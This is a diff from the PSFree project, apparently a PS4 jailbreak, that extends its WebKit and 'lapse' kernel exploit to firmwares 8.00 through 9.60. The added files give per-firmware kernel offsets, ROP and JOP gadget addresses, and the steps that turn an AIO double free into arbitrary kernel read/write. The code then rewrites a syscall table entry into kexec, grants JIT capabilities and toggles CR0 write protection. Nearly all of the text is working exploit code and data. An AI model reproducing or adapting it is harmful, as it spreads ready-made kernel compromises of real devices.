$(CC) $(TARGET).o -o $(TARGET).elf $(CFLAGS)
all: $(ALL_BINS)
%.bin: %.o
$(CC) $< -o $*.elf $(CFLAGS)
$(OBJCOPY) -O binary --only-section=.text $*.elf $@
-rm -f $*.elf
.PHONY: clean
clean:
-rm -f *.d *.o *.elf
%.d: %.c
@set -e; \
rm -f $@; \
$(CC) -MM $(CPPFLAGS) $< > $@.$$$$; \
sed 's,\($*\)\.o[ :]*,\1.o $@ : ,g' < $@.$$$$ > $@; \
rm -f $@.$$$$;
include $(src:.c=.d)
-rm -f $(ALL_OBJECTS) $(ALL_BINS)

14
src/kpatch/script.ld
View File

@@ -1,8 +1,6 @@
SECTIONS
{
.text : { *(.text.start) *(.text) }
.rodata : { *(.rodata) }
.data : { *(.data) }
.bss : { *(.bss) }
/DISCARD/ : { *(.comment* .note*) }
}
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
PHDRS { code_seg PT_LOAD; }
SECTIONS { .text : { *(.text.start) *(.text*) } : code_seg }

14
src/kpatch/utils.h
View File

@@ -21,14 +21,14 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
#include "types.h"
inline u64 rdmsr(u32 msr) {
static inline u64 rdmsr(u32 msr) {
u32 low, high;
asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
return (low | ((u64)high << 32));
}
inline void enable_cr0_wp(void) {
static inline void enable_cr0_wp(void) {
asm(
"mov rax, cr0\n"
"or rax, 0x10000\n"
@@ -36,7 +36,7 @@ inline void enable_cr0_wp(void) {
::: "rax");
}
inline void disable_cr0_wp(void) {
static inline void disable_cr0_wp(void) {
asm(
"mov rax, cr0\n"
"and rax, ~0x10000\n"
@@ -44,18 +44,18 @@ inline void disable_cr0_wp(void) {
::: "rax");
}
inline void write8(void *addr, size_t offset, u8 value) {
static inline void write8(void *addr, size_t offset, u8 value) {
*(u8 *)(addr + offset) = value;
}
inline void write16(void *addr, size_t offset, u16 value) {
static inline void write16(void *addr, size_t offset, u16 value) {
*(u16 *)(addr + offset) = value;
}
inline void write32(void *addr, size_t offset, u32 value) {
static inline void write32(void *addr, size_t offset, u32 value) {
*(u32 *)(addr + offset) = value;
}
inline void write64(void *addr, size_t offset, u64 value) {
static inline void write64(void *addr, size_t offset, u64 value) {
*(u64 *)(addr + offset) = value;
}

95
src/scripts/lapse.mjs → src/lapse.mjs
View File

@@ -1,4 +1,5 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
@@ -24,21 +25,29 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// * RESTORE - code will repair kernel panic vulnerability
// * MEMLEAK - memory leaks that our code will induce
import { Int } from '/module/int64.mjs';
import { mem } from '/module/mem.mjs';
import { log, die, hex, hexdump } from '/module/utils.mjs';
import { cstr, jstr } from '/module/memtools.mjs';
import { page_size, context_size } from '/module/offset.mjs';
import { Chain } from '/module/chain.mjs';
import { Int } from './module/int64.mjs';
import { mem } from './module/mem.mjs';
import { clear_log, log, die, hex, hexdump } from './module/utils.mjs';
import { cstr, jstr } from './module/memtools.mjs';
import { page_size, context_size } from './module/offset.mjs';
import { Chain } from './module/chain.mjs';
import {
View1, View2, View4,
Word, Long, Pointer,
Buffer,
} from '/module/view.mjs';
} from './module/view.mjs';
import * as rop from '/module/chain.mjs';
import * as config from '/config.mjs';
import * as rop from './module/chain.mjs';
import * as config from './config.mjs';
// Static imports for firmware configurations
import * as fw_ps4_800 from './lapse/ps4/800.mjs';
import * as fw_ps4_850 from './lapse/ps4/850.mjs';
import * as fw_ps4_852 from './lapse/ps4/852.mjs';
import * as fw_ps4_900 from './lapse/ps4/900.mjs';
import * as fw_ps4_903 from './lapse/ps4/903.mjs';
import * as fw_ps4_950 from './lapse/ps4/950.mjs';
const t1 = performance.now();
@@ -62,6 +71,35 @@ const [is_ps4, version] = (() => {
return [is_ps4, version];
})();
// Set per-console/per-firmware offsets
const fw_config = (() => {
if (is_ps4) {
if (0x800 <= version && version < 0x850) { // 8.00, 8.01, 8.03
return fw_ps4_800;
} else if (0x850 <= version && version < 0x852) { // 8.50
return fw_ps4_850;
} else if (0x852 <= version && version < 0x900) { // 8.52
return fw_ps4_852;
} else if (0x900 <= version && version < 0x903) { // 9.00
return fw_ps4_900;
} else if (0x903 <= version && version < 0x950) { // 9.03, 9.04
return fw_ps4_903;
} else if (0x950 <= version && version < 0x1000) { // 9.50, 9.51, 9.60
return fw_ps4_950;
}
} else {
// TODO: PS5
}
throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? '4' : '5'}, version: ${hex(version)}`);
})();
const pthread_offsets = fw_config.pthread_offsets;
const off_kstr = fw_config.off_kstr;
const off_cpuid_to_pcpu = fw_config.off_cpuid_to_pcpu;
const off_sysent_661 = fw_config.off_sysent_661;
const jmp_rsi = fw_config.jmp_rsi;
const patch_elf_loc = fw_config.patch_elf_loc;
// sys/socket.h
const AF_UNIX = 1;
const AF_INET = 2;
@@ -144,16 +182,6 @@ async function init() {
await rop.init();
chain = new Chain();
// TODO assumes ps4 8.0x
const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x25610,
'pthread_join' : 0x27c60,
'pthread_barrier_init' : 0xa0e0,
'pthread_barrier_wait' : 0x1ee00,
'pthread_barrier_destroy' : 0xe180,
'pthread_exit' : 0x19eb0,
}));
rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base);
}
@@ -1104,7 +1132,7 @@ function double_free_reqs1(
}
}
if (sd === null) {
die("can't find sd that overwrote AIO queue entry");
die('can\'t find sd that overwrote AIO queue entry');
}
log(`sd: ${sd}`);
@@ -1240,15 +1268,11 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
die('test read of &"evf cv" failed');
}
// TODO FW dependent parts! assume ps4 8.0x for now
const off_kstr = 0x7edcff;
const kbase = kernel_addr.sub(off_kstr);
log(`kernel base: ${kbase}`);
log('\nmaking arbitrary kernel read/write');
const cpuid = 7 - main_core;
const off_cpuid_to_pcpu = 0x228e6b0;
const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid*8);
log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`);
const pcpu = kread64(pcpu_p);
@@ -1486,7 +1510,7 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
// FUNCTIONS FOR STAGE: PATCH KERNEL
async function get_patches(url) {
async function get_binary(url) {
const response = await fetch(url);
if (!response.ok) {
throw Error(
@@ -1496,37 +1520,33 @@ async function get_patches(url) {
return response.arrayBuffer();
}
// TODO 8.0x supported only
async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
if (!is_ps4) {
throw RangeError('PS5 kernel patching unsupported');
throw RangeError('ps5 kernel patching unsupported');
}
if (!(0x800 <= version < 0x850)) {
if (!(0x800 <= version && version < 0x1000)) { // 8.00, 8.01, 8.03, 8.50, 8.52, 9.00, 9.03, 9.04, 9.50, 9.51, 9.60
throw RangeError('kernel patching unsupported');
}
log('change sys_aio_submit() to sys_kexec()');
// sysent[661] is unimplemented so free for use
const offset_sysent_661 = 0x11040c0;
const sysent_661 = kbase.add(offset_sysent_661);
const sysent_661 = kbase.add(off_sysent_661);
// .sy_narg = 6
kmem.write32(sysent_661, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
kmem.write64(sysent_661.add(8), kbase.add(0xe629c));
kmem.write64(sysent_661.add(8), kbase.add(jmp_rsi));
// .sy_thrcnt = SY_THR_STATIC
kmem.write32(sysent_661.add(0x2c), 1);
log('add JIT capabilities');
// TODO just set the bits for JIT privs
// TODO: Just set the bits for JIT privs
// cr_sceCaps[0]
kmem.write64(p_ucred.add(0x60), -1);
// cr_sceCaps[1]
kmem.write64(p_ucred.add(0x68), -1);
const buf = await get_patches('/kpatch/80x.elf');
// FIXME handle .bss segment properly
// assume start of loadable segments is at offset 0x1000
const patches = new View1(await buf, 0x1000);
const buf = await get_binary(patch_elf_loc);
const patches = new View1(await buf);
let map_size = patches.size;
const max_size = 0x10000000;
if (map_size > max_size) {
@@ -1535,6 +1555,7 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
if (map_size === 0) {
die('patch file size is zero');
}
log(`kpatch size: ${map_size} bytes`);
map_size = map_size+page_size & -page_size;
const prot_rwx = 7;
@@ -1673,7 +1694,7 @@ export async function kexploit() {
get_our_affinity(main_mask);
log(`main_mask: ${main_mask}`);
log("setting main thread's priority");
log('setting main thread\'s priority');
sysi('rtprio_thread', RTP_SET, 0, rtprio.addr);
const [block_fd, unblock_fd] = (() => {

35
src/lapse/ps4/800.mjs Normal file
View File

@@ -0,0 +1,35 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.00, 8.01, 8.03
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x25610,
'pthread_join' : 0x27c60,
'pthread_barrier_init' : 0xa0e0,
'pthread_barrier_wait' : 0x1ee00,
'pthread_barrier_destroy' : 0xe180,
'pthread_exit' : 0x19eb0,
}));
export const off_kstr = 0x7edcff;
export const off_cpuid_to_pcpu = 0x228e6b0;
export const off_sysent_661 = 0x11040c0;
export const jmp_rsi = 0xe629c;
export const patch_elf_loc = './kpatch/800.bin'; // Relative to `../../lapse.mjs`

35
src/lapse/ps4/850.mjs Normal file
View File

@@ -0,0 +1,35 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.50
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0xebb0,
'pthread_join' : 0x29d50,
'pthread_barrier_init' : 0x283c0,
'pthread_barrier_wait' : 0xb8c0,
'pthread_barrier_destroy' : 0x9c10,
'pthread_exit' : 0x25310,
}));
export const off_kstr = 0x7da91c;
export const off_cpuid_to_pcpu = 0x1cfc240;
export const off_sysent_661 = 0x11041b0;
export const jmp_rsi = 0xc810d;
export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs`

35
src/lapse/ps4/852.mjs Normal file
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@@ -0,0 +1,35 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.52
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0xebb0,
'pthread_join' : 0x29d60,
'pthread_barrier_init' : 0x283d0,
'pthread_barrier_wait' : 0xb8c0,
'pthread_barrier_destroy' : 0x9c10,
'pthread_exit' : 0x25320,
}));
export const off_kstr = 0x7da91c;
export const off_cpuid_to_pcpu = 0x1cfc240;
export const off_sysent_661 = 0x11041b0;
export const jmp_rsi = 0xc810d;
export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs`

35
src/lapse/ps4/900.mjs Normal file
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@@ -0,0 +1,35 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.00
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x25510,
'pthread_join' : 0xafa0,
'pthread_barrier_init' : 0x273d0,
'pthread_barrier_wait' : 0xa320,
'pthread_barrier_destroy' : 0xfea0,
'pthread_exit' : 0x77a0,
}));
export const off_kstr = 0x7f6f27;
export const off_cpuid_to_pcpu = 0x21ef2a0;
export const off_sysent_661 = 0x1107f00;
export const jmp_rsi = 0x4c7ad;
export const patch_elf_loc = './kpatch/900.bin'; // Relative to `../../lapse.mjs`

35
src/lapse/ps4/903.mjs Normal file
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@@ -0,0 +1,35 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.03, 9.04
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x25510,
'pthread_join' : 0xafa0,
'pthread_barrier_init' : 0x273d0,
'pthread_barrier_wait' : 0xa320,
'pthread_barrier_destroy' : 0xfea0,
'pthread_exit' : 0x77a0,
}));
export const off_kstr = 0x7f4ce7;
export const off_cpuid_to_pcpu = 0x21eb2a0;
export const off_sysent_661 = 0x1103f00;
export const jmp_rsi = 0x5325b;
export const patch_elf_loc = './kpatch/903.bin'; // Relative to `../../lapse.mjs`

35
src/lapse/ps4/950.mjs Normal file
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@@ -0,0 +1,35 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.50, 9.51, 9.60
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x1c540,
'pthread_join' : 0x9560,
'pthread_barrier_init' : 0x24200,
'pthread_barrier_wait' : 0x1efb0,
'pthread_barrier_destroy' : 0x19450,
'pthread_exit' : 0x28ca0,
}));
export const off_kstr = 0x769a88;
export const off_cpuid_to_pcpu = 0x21a66c0;
export const off_sysent_661 = 0x1100ee0;
export const jmp_rsi = 0x15a6d;
export const patch_elf_loc = './kpatch/950.bin'; // Relative to `../../lapse.mjs`

0
src/lapse/ps5/.gitinclude Normal file
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24
src/module/chain.mjs
View File

@@ -19,7 +19,7 @@ import { Int, lohi_from_one } from './int64.mjs';
import { get_view_vector } from './memtools.mjs';
import { Addr } from './mem.mjs';
import * as config from '/config.mjs';
import * as config from '../config.mjs';
// put the sycall names that you want to use here
export const syscall_map = new Map(Object.entries({
@@ -542,7 +542,7 @@ export function get_gadget(map, insn_str) {
function load_fw_specific(version) {
if (version & 0x10000) {
throw RangeError('ps5 not supported yet');
throw RangeError('PS5 not supported yet');
}
const value = version & 0xffff;
@@ -550,14 +550,26 @@ function load_fw_specific(version) {
// ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
// which can be annoying to deal with
if (value < 0x700) {
throw RangeError("PS4 firmwares < 7.00 isn't supported");
throw RangeError('PS4 firmwares < 7.00 isn\'t supported');
}
if (0x800 <= value && value < 0x850) {
return import('/rop/800.mjs');
if (0x800 <= value && value < 0x850) { // 8.00, 8.01, 8.03
return import('../rop/ps4/800.mjs');
}
throw RangeError('firmware not supported');
if (0x850 <= value && value < 0x900) { // 8.50, 8.52
return import('../rop/ps4/850.mjs');
}
if (0x900 <= value && value < 0x950) { // 9.00, 9.03, 9.04
return import('../rop/ps4/900.mjs');
}
if (0x950 <= value && value < 0x1000) { // 9.50, 9.51, 9.60
return import('../rop/ps4/950.mjs');
}
throw RangeError('Firmware not supported');
}
export let gadgets = null;

14
src/module/view.mjs
View File

@@ -15,12 +15,12 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int, lohi_from_one } from '/module/int64.mjs';
import { Addr } from '/module/mem.mjs';
import { BufferView } from '/module/rw.mjs';
import { Int, lohi_from_one } from './int64.mjs';
import { Addr } from './mem.mjs';
import { BufferView } from './rw.mjs';
import * as config from '/config.mjs';
import * as mt from '/module/memtools.mjs';
import * as config from '../config.mjs';
import * as mt from './memtools.mjs';
// View constructors will always get the buffer property in order to make sure
// that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
@@ -76,8 +76,8 @@ function ViewMixin(superclass) {
// isn't one of the built-in TypedArrays. this is a violation of the
// ECMAScript spec at that time
//
// TODO assumes ps4, support ps5 as well
// FIXME define the from/of workaround functions once
// TODO: Assumes PS4, support PS5 as well
// FIXME: Define the from/of workaround functions once
if (0x600 <= config.target && config.target < 0x1000) {
res.from = function from(...args) {
const base = this.__proto__;

37
src/psfree.mjs
View File

@@ -33,10 +33,10 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// * Helped in figuring out the size of JSC::ArrayBufferContents and its
// needed offsets on different firmwares (PS5).
import { Int } from '/module/int64.mjs';
import { Memory } from '/module/mem.mjs';
import { KB, MB } from '/module/offset.mjs';
import { BufferView } from '/module/rw.mjs';
import { Int } from './module/int64.mjs';
import { Memory } from './module/mem.mjs';
import { KB, MB } from './module/offset.mjs';
import { BufferView } from './module/rw.mjs';
import {
die,
@@ -46,10 +46,10 @@ import {
sleep,
hex,
align,
} from '/module/utils.mjs';
} from './module/utils.mjs';
import * as config from '/config.mjs';
import * as off from '/module/offset.mjs';
import * as config from './config.mjs';
import * as off from './module/offset.mjs';
// check if we are running on a supported firmware version
const [is_ps4, version] = (() => {
@@ -72,18 +72,22 @@ const [is_ps4, version] = (() => {
})();
const ssv_len = (() => {
if (0x600 <= config.target && config.target < 0x650) {
return 0x58;
}
// PS4 9.xx and all supported PS5 versions
if (config.target >= 0x900) {
// All supported PS5 versions
if (!is_ps4) {
return 0x50;
}
if (0x650 <= config.target && config.target < 0x900) {
// PS4
if (0x600 <= version && version < 0x650) {
return 0x58;
}
if (0x650 <= version && version < 0x900) {
return 0x48;
}
if (0x900 <= version) {
return 0x50;
}
throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? '4' : '5'}, version: ${hex(version)}`);
})();
// these constants are expected to be divisible by 2
@@ -454,7 +458,7 @@ async function make_rdr(view) {
log(`view's buffer address: ${addr}`);
return new Reader(rstr, view);
}
die("JSString wasn't modified");
die('JSString wasn\'t modified');
}
// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array
@@ -856,7 +860,6 @@ async function main() {
await make_arw(rdr, view2, pop);
clear_log();
// path to your script that will use the exploit
import('./code.mjs');
import('./lapse.mjs');
}
main();

68
src/rop/800.mjs → src/rop/ps4/800.mjs
View File

@@ -15,18 +15,20 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { mem } from '/module/mem.mjs';
import { KB } from '/module/offset.mjs';
import { ChainBase, get_gadget } from '/module/chain.mjs';
import { BufferView } from '/module/rw.mjs';
// 8.00, 8.01, 8.03
import { mem } from '../../module/mem.mjs';
import { KB } from '../../module/offset.mjs';
import { ChainBase, get_gadget } from '../../module/chain.mjs';
import { BufferView } from '../../module/rw.mjs';
import {
get_view_vector,
resolve_import,
init_syscall_array,
} from '/module/memtools.mjs';
} from '../../module/memtools.mjs';
import * as off from '/module/offset.mjs';
import * as off from '../../module/offset.mjs';
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x8d8;
@@ -82,39 +84,39 @@ const jop5 = 'pop rsp; ret';
// pop rbp
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000035a1b,
'pop rbx; ret' : 0x000000000001537c,
'pop rcx; ret' : 0x0000000000025ecb,
'pop rdx; ret' : 0x0000000000060f52,
'pop rax; ret' : 0x0000000000035a1b, // `58 c3`
'pop rbx; ret' : 0x000000000001537c, // `5b c3`
'pop rcx; ret' : 0x0000000000025ecb, // `59 c3`
'pop rdx; ret' : 0x0000000000060f52, // `5a c3`
'pop rbp; ret' : 0x00000000000000b6,
'pop rsi; ret' : 0x000000000003bd77,
'pop rdi; ret' : 0x00000000001e3f87,
'pop rsp; ret' : 0x00000000000bf669,
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
'pop rsi; ret' : 0x000000000003bd77, // `5e c3`
'pop rdi; ret' : 0x00000000001e3f87, // `5f c3`
'pop rsp; ret' : 0x00000000000bf669, // `5c c3`
'pop r8; ret' : 0x0000000000097442,
'pop r9; ret' : 0x00000000006f501f,
'pop r10; ret' : 0x0000000000060f51,
'pop r11; ret' : 0x0000000000d2a629,
'pop r8; ret' : 0x00000000005ee860, // `41 58 c3`
'pop r9; ret' : 0x00000000006f501f, // `47 59 c3`
'pop r10; ret' : 0x0000000000060f51, // `47 5a c3`
'pop r11; ret' : 0x00000000013cad93, // `41 5b c3`
'pop r12; ret' : 0x0000000000d8968d,
'pop r13; ret' : 0x00000000016ccff1,
'pop r14; ret' : 0x000000000003bd76,
'pop r15; ret' : 0x00000000002499df,
'pop r12; ret' : 0x0000000000d8968d, // `41 5c c3`
'pop r13; ret' : 0x00000000019a0edb, // `41 5d c3`
'pop r14; ret' : 0x000000000003bd76, // `41 5e c3`
'pop r15; ret' : 0x00000000002499df, // `41 5f c3`
'ret' : 0x0000000000000032,
'leave; ret' : 0x0000000000291fd7,
'ret' : 0x0000000000000032, // `c3`
'leave; ret' : 0x0000000000291fd7, // `c9 c3`
'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62,
'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb,
'mov dword ptr [rdi], eax; ret' : 0x000000000001f864,
'mov dword ptr [rax], esi; ret' : 0x00000000002915bc,
'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62, // `48 8b 00 c3`
'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb, // `48 89 07 c3`
'mov dword ptr [rdi], eax; ret' : 0x000000000001f864, // `89 07 c3`
'mov dword ptr [rax], esi; ret' : 0x00000000002915bc, // `89 30 c3`
[jop1] : 0x0000000001988320,
[jop2] : 0x000000000076b970,
[jop3] : 0x0000000000f62f95,
[jop4] : 0x00000000021af6ad,
[jop5] : 0x00000000000bf669,
[jop1] : 0x0000000001988320, // `48 8b 7e 08 48 8b 07 ff 60 70`
[jop2] : 0x000000000076b970, // `55 48 89 e5 48 8b 07 ff 50 30`
[jop3] : 0x0000000000f62f95, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40`
[jop4] : 0x00000000021af6ad, // `52 bf fe 84 97 ac ff 20`
[jop5] : 0x00000000000bf669, // `5c c3`
}));
const libc_gadget_offsets = new Map(Object.entries({

261
src/rop/ps4/850.mjs Normal file
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@@ -0,0 +1,261 @@
/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.50, 8.52
import { mem } from '../../module/mem.mjs';
import { KB } from '../../module/offset.mjs';
import { ChainBase, get_gadget } from '../../module/chain.mjs';
import { BufferView } from '../../module/rw.mjs';
import {
get_view_vector,
resolve_import,
init_syscall_array,
} from '../../module/memtools.mjs';
import * as off from '../../module/offset.mjs';
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x8d8;
const offset_wk_strlen = 0x918;
// libSceNKWebKit.sprx
export let libwebkit_base = null;
// libkernel_web.sprx
export let libkernel_base = null;
// libSceLibcInternal.sprx
export let libc_base = null;
// TODO: gadgets for the JOP chain
//
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
// type is PutPropertySlot::PutValueFunc
const jop1 = `
mov rdi, qword ptr [rsi + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop2 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
`;
const jop3 = `
mov rdx, qword ptr [rdx + 0x50]
mov ecx, 0xa
call qword ptr [rax + 0x40]
`;
const jop4 = `
push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
const jop5 = 'pop rsp; ret';
// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
// mov rsp, rbp
// pop rbp
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x000000000001ac7b, // `58 c3`
'pop rbx; ret' : 0x000000000000c46d, // `5b c3`
'pop rcx; ret' : 0x000000000001ac5f, // `59 c3`
'pop rdx; ret' : 0x0000000000282ea2, // `5a c3`
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
'pop rsi; ret' : 0x0000000000050878, // `5e c3`
'pop rdi; ret' : 0x0000000000091afa, // `5f c3`
'pop rsp; ret' : 0x0000000000073c2b, // `5c c3`
'pop r8; ret' : 0x000000000003b4b3, // `47 58 c3`
'pop r9; ret' : 0x00000000010f372f, // `47 59 c3`
'pop r10; ret' : 0x0000000000b1a721, // `47 5a c3`
'pop r11; ret' : 0x0000000000eaba69, // `4f 5b c3`
'pop r12; ret' : 0x0000000000eaf80d, // `47 5c c3`
'pop r13; ret' : 0x00000000019a0d8b, // `41 5d c3`
'pop r14; ret' : 0x0000000000050877, // `41 5e c3`
'pop r15; ret' : 0x00000000007e2efd, // `47 5f c3`
'ret' : 0x0000000000000032, // `c3`
'leave; ret' : 0x000000000001ba53, // `c9 c3`
'mov rax, qword ptr [rax]; ret' : 0x000000000003734c, // `48 8b 00 c3`
'mov qword ptr [rdi], rax; ret' : 0x000000000001433b, // `48 89 07 c3`
'mov dword ptr [rdi], eax; ret' : 0x0000000000008e7f, // `89 07 c3`
'mov dword ptr [rax], esi; ret' : 0x0000000000cf6c22, // `89 30 c3`
[jop1] : 0x0000000000000000, // ``
[jop2] : 0x0000000000000000, // ``
[jop3] : 0x0000000000000000, // ``
[jop4] : 0x0000000000000000, // ``
[jop5] : 0x0000000000000000, // ``
}));
const libc_gadget_offsets = new Map(Object.entries({
'getcontext' : 0x25904,
'setcontext' : 0x29c38,
}));
const libkernel_gadget_offsets = new Map(Object.entries({
// returns the location of errno
'__error' : 0x10750,
}));
export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x236d4a0;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x153c0;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4ef40;
const libc_base = strlen_addr.sub(off_strlen);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
}
export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain850Base extends ChainBase {
push_end() {
this.push_gadget('leave; ret');
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
push_get_errno() {
this.push_gadget('pop rdi; ret');
this.push_value(this.errno_addr);
this.push_call(this.get_gadget('__error'));
this.push_gadget('mov rax, qword ptr [rax]; ret');
this.push_gadget('mov dword ptr [rdi], eax; ret');
}
push_clear_errno() {
this.push_call(this.get_gadget('__error'));
this.push_gadget('pop rsi; ret');
this.push_value(0);
this.push_gadget('mov dword ptr [rax], esi; ret');
}
}
export class Chain850 extends Chain850Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
}
export const Chain = Chain850;
export function init(Chain) {
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
